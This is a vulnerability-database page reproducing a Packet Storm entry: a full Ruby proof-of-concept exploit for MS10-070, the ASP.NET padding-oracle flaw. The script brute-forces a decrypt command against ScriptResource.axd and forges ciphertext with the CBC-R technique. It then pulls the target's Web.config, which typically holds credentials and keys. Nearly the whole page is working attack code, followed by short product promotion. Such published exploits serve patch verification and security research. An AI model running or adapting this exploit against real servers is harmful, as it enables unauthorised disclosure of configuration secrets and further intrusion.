Lucene search
K

MS10-070 ASP.NET Auto-Decryptor File Download

🗓️ 20 Oct 2010 00:00:00Reported by Agustin AzubelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

MS10-070 ASP.NET Auto-Decryptor File Downloa

Code
`#!/usr/bin/ruby -w  
  
#  
# aspx_ad_chotext_attack.rb  
#  
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved  
#  
# http://www.ampliasecurity.com  
# Agustin Azubel - [email protected]  
#  
#  
# MS10-070 ASPX proof of concept  
# Decrypt data using an auto decryptor bundled in the aspx framework  
# Encrypt data using Rizzo-Duong CBC-R technique  
#  
# Copyright (c) 2010 Amplia Security. All rights reserved.  
#  
# Unless you have express writen permission from the Copyright  
# Holder, any use of or distribution of this software or portions of it,  
# including, but not limited to, reimplementations, modifications and derived  
# work of it, in either source code or any other form, as well as any other  
# software using or referencing it in any way, may NOT be sold for commercial  
# gain, must be covered by this very same license, and must retain this  
# copyright notice and this license.  
# Neither the name of the Copyright Holder nor the names of its contributors  
# may be used to endorse or promote products derived from this software  
# without specific prior written permission.  
#  
#  
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE  
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
# POSSIBILITY OF SUCH DAMAGE.  
#  
  
  
require 'net/http'  
require 'uri'  
require 'rexml/document'  
  
  
$debugging = false  
  
  
  
module XArray  
def hex_inspect  
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"  
end  
end  
  
class Array  
include XArray  
end  
  
  
  
  
require 'base64'  
  
class XBase64  
def self.encode s  
s = Base64.encode64 s  
s = s.gsub '+', '-'  
s = s.gsub '/', '_'  
s = s.gsub "\n", ''  
s = s.gsub "\r", ''  
  
s = XBase64.encode_base64_padding s  
end  
  
def self.encode_base64_padding s  
padding_length = 0  
padding_length += 1 while s[-1 - padding_length, 1] == "="  
s[0..(-1 - padding_length)] + padding_length.to_s  
end  
  
  
def self.decode s  
s = s.gsub '-', '+'  
s = s.gsub '_', '/'  
  
s = self.decode_base64_padding s  
  
Base64.decode64 s  
end  
  
def self.decode_base64_padding s  
padding_length = s[-1,1].to_i  
s[0...-1] + ("=" * padding_length)  
end  
end  
  
  
module XString  
def xor other  
raise RuntimeError, "length mismatch" if self.length != other.length  
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join  
end  
alias ^ :xor  
  
def hex_inspect  
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \  
(0x20..0x7e).entries  
  
"[#{length}]" + "\"#{unpack("C*").map { |x|  
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""  
end  
  
def to_blocks blocksize  
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}  
end  
end  
  
class String  
include XString  
end  
  
  
  
class ASPXAutoDecryptorChosenCiphertextAttack  
attr_reader :uri  
attr_reader :filename  
attr_reader :min_filelength  
attr_reader :filere  
attr_reader :http  
attr_reader :d_value  
attr_reader :blocksize  
attr_reader :padding_length  
attr_reader :decrypt_command_mask  
attr_reader :axdpath  
attr_reader :axdname  
attr_reader :base_mask  
  
def initialize parameters  
@uri = URI.parse parameters[:uri]  
@filename = parameters[:filename]  
@min_filelength = parameters[:min_filelength]  
@filere = parameters[:filere]  
@http = http_initialize  
@d_value = nil  
@base_mask = rand 0xffff  
@decrypt_command_mask = nil  
@blocksize = nil  
@padding_length = nil  
@axdpath = nil  
@axdname = nil  
  
puts "target: #{@uri}"  
puts "base_mask: 0x%04x" % @base_mask  
end  
  
def http_initialize  
http = Net::HTTP.new @uri.host, @uri.port  
http.start  
http  
end  
  
  
def parse_script_tag xml, re  
d = nil  
  
doc = REXML::Document.new xml  
doc.elements.each 'script' do |e|  
src_attribute = e.attributes['src']  
md = re.match src_attribute  
d = md[1]  
break  
end  
  
raise RuntimeError, "could not parse script_tag" unless d  
  
d  
end   
private :parse_script_tag  
  
def get_ciphertext_sample  
[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],  
].each do |name, re|  
  
headers = { 'User-Agent' => \  
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }  
  
response = http.get uri.path, headers  
body = response.body  
  
script_tags = body.lines.select { |x| x.index name }  
  
next if script_tags.empty?  
  
puts "script tags using #{name} [#{script_tags.length}]:"  
puts script_tags.map { |x| "\t#{x}" }  
  
d = parse_script_tag script_tags[0], re  
  
puts "using script: #{name}"  
puts "using d_value: #{d}"  
  
@axdpath = uri.path[0, uri.path.rindex('/')]  
@axdname = name  
@d_value = ("\x00" * 16) + (XBase64.decode d)  
break  
end  
  
raise RuntimeError, "could not find any axd sample" unless d_value  
  
d_value  
end  
  
def parse_html_body h, body  
parsed = String.new  
  
doc = REXML::Document.new body  
doc.elements.each h do |e|  
parsed = e.text  
break  
end  
  
parsed  
end  
  
def send_request d  
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"  
request['Connection'] = 'Keep-Alive'  
@http.request request  
end  
  
def decrypt d  
ciphertext = d.clone  
ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"  
  
response = send_request ciphertext  
  
parse_html_body 'html/head/title', response.body  
end  
  
def discover_decrypt_command  
puts "discovering decrypt command..."  
  
ciphertext = d_value.clone  
1.upto 0xffff do |mask|  
ciphertext[0, 2] = [ base_mask + mask ].pack "S"  
  
response = send_request ciphertext  
  
print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d, body_length: %5d" % \  
[ mask, response.code, response.body.length ]  
  
next unless response.code == "200"  
  
begin  
puts parse_html_body 'html/head/title', response.body  
@decrypt_command_mask = base_mask + mask  
rescue Exception => e  
puts e  
puts "exception !"  
next  
end  
  
break  
end  
  
puts  
  
raise RuntimeError, "no more combinations to try !" unless decrypt_command_mask  
puts "decrypted !!!"  
  
decrypt_command_mask  
end  
  
  
  
def discover_blocksize_and_padding_length  
puts "discovering blocksize and padding length..."  
  
[ 16, 8 ].each do |b|  
0.upto b - 1 do |i|  
ciphertext = @d_value.clone  
ciphertext[-(b * 2) + i] ^= 0x01  
begin  
decrypt ciphertext  
rescue Exception => e  
@blocksize = b  
@padding_length = blocksize - i  
break  
end  
end  
break if blocksize  
end  
  
raise RuntimeError, "no more combinations to try !" unless blocksize  
  
puts "discovered padding length: #{padding_length}"  
puts "discovered blocksize: #{blocksize}"  
  
[ blocksize, padding_length]  
end  
  
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
required_block_count = 1 + new_plaintext_blocks.count + 1  
puts "required_block_count: #{required_block_count}"  
  
if required_block_count < cipher_blocks.count then  
delta = cipher_blocks.count - required_block_count  
puts "removing #{delta} extra blocks..."  
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]  
elsif required_block_count > cipher_blocks.count then  
delta = required_block_count - cipher_blocks.count  
puts "adding #{delta} extra_blocks..."  
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]  
end  
  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
cipher_blocks  
end  
private :reallocate_cipher_blocks  
  
def generate_new_plaintext_blocks  
tail_padding = "\x01"  
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)  
head_padding_length = 0 if head_padding_length == blocksize  
head_padding = "\x00" * head_padding_length  
new_plaintext = head_padding + @filename + tail_padding  
  
new_plaintext.to_blocks blocksize  
end  
private :generate_new_plaintext_blocks  
  
def encrypt  
puts "encrypting \"#{@filename.hex_inspect}..."  
  
new_plaintext_blocks = generate_new_plaintext_blocks  
  
cipher_blocks = @d_value.to_blocks blocksize  
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
  
(1..new_plaintext_blocks.count).each do |i|  
puts "round #{i} of #{new_plaintext_blocks.count}"  
  
new_plaintext_block = new_plaintext_blocks[-i]  
  
old_cleartext = decrypt cipher_blocks.join  
old_plaintext = old_cleartext + (padding_length.chr * padding_length)  
puts "old_plaintext: #{old_plaintext.hex_inspect}"  
  
old_plaintext_blocks = old_plaintext[blocksize * (-i - 1)..-1].to_blocks blocksize  
  
old_plaintext_block = old_plaintext_blocks[-i]  
  
normalization_table = old_plaintext_block.bytes.map { |x| x >= 0x80 or x == 0x0a }  
if normalization_table.include? true  
j = blocksize - (normalization_table.rindex true)  
cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]  
puts "normalization needed for \"\\x%x\", j: %d !" % [ old_plaintext_block[-j], -j]  
redo  
end  
  
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block  
  
@padding_length = 1 if i == 1  
end  
  
cleartext = decrypt cipher_blocks.join  
puts "new cleartext: #{cleartext.hex_inspect}"  
  
# raise RuntimeError, "too many \"|\" characters!" if cleartext.count("|") > 3  
  
@d_value = cipher_blocks.join  
end  
  
def discover_escape_sequence  
puts "discovering escape sequence..."  
  
escape_sequence_mask = nil  
  
offset = base_mask % (blocksize - 4)  
  
ciphertext = d_value.clone  
0x1ffff.times do |mask|  
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"  
  
response = send_request ciphertext  
print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d, body_length: %5d" % \  
[ mask, response.code, response.body.length ]  
  
next unless response.code == "200"  
  
next if min_filelength and (response.body.length < min_filelength)  
  
next if filere and (not filere =~ response.body)  
  
escape_sequence_mask = base_mask + mask  
  
puts  
puts "found!"  
  
unless $debugging  
puts "press any key to show the contents of the file"  
$stdin.gets  
end  
  
puts response.body  
break  
end  
puts  
  
raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask  
  
escape_sequence_mask  
end  
  
def pause  
return if $debugging  
puts  
puts "press any key to start the attack"  
$stdin.gets  
end  
  
def run  
get_ciphertext_sample  
pause  
discover_decrypt_command  
discover_blocksize_and_padding_length  
encrypt  
discover_escape_sequence  
end  
end  
  
  
  
puts [ "-------------------------------------------",  
"aspx_ad_chotext_attack.rb",  
"(c) 2010 AmpliaSECURITY",  
"http://www.ampliasecurity.com",  
"Agustin Azubel - [email protected]",  
"-------------------------------------------",  
"\n" ].join "\n"  
  
  
  
if ARGV.length != 1 then  
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"  
exit  
end  
  
begin  
parameters = {  
:uri => ARGV.first,  
:filename => "|||~/Web.config",  
# :min_filelength => 3000,  
:filere => /configuration/  
}  
  
x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters  
x.run  
rescue Exception => e  
$stderr.puts "Exploit failed: #{e}"  
  
raise if $debugging  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation